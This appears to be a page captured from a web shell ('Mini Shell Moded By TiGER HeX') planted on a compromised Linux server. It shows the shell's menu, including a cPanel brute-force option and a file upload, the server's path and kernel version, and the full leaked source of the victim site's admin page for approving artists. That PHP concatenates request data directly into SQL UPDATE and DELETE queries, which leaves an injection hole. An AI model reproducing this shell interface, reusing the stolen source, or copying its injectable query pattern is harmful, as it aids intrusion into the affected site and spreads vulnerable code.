Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/artistApprove.php
<? include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon.php'); include_once('../includes/static/gdimg.php'); include_once('../includes/static/sessions.php'); include_once('includes/static/util.php'); include_once('includes/appTop.php'); $page_id = str_replace(".php","",basename($_SERVER['PHP_SELF'])); if(!has_permission($page_id)){ die("You don't have permission to view this page!"); } if( isset($_REQUEST['approve']) || isset($_REQUEST['delete']) ){ //loop through all while(list($key,$value) = each($_REQUEST)){ if(preg_match("/artist_/i",$key)){ $ids = explode("_",$key); if(isset($_REQUEST['approve'])){ $sql = "UPDATE 50mm_artists SET approved = 1 WHERE artist_id = '".$ids[1]."'"; }else if(isset($_REQUEST['delete'])){ $sql = "DELETE FROM 50mm_artists WHERE artist_id = '".$ids[1]."'"; } if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } } } } include_once('includes/header.php'); ?> <form action="<?echo $_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data"> <? //content $sql = "SELECT artist_id, artist_name,location FROM 50mm_artists WHERE approved = 0 ORDER BY artist_name ASC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $modrows = Array(); while ($row = $db->sql_fetchrow($result)){ $id = $row['artist_id']; $xtras = Array( "approve/delete"=>"<input type=\"checkbox\" name=\"artist_".$id."\" value=\"\">" ); $all = array_merge($row,$xtras); array_push($modrows, $all); } echo(get_table($modrows)); ?> <input type="checkbox" name="selectAll" onClick="return checkUncheckAll(this.form);"> Select/Deselect All<br> <input class="button" type="submit" name="approve" value="Approve Selected"> <input class="button" type="submit" name="delete" value="Delete Selected" onClick="return validateDelete(this.form);"> </form> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>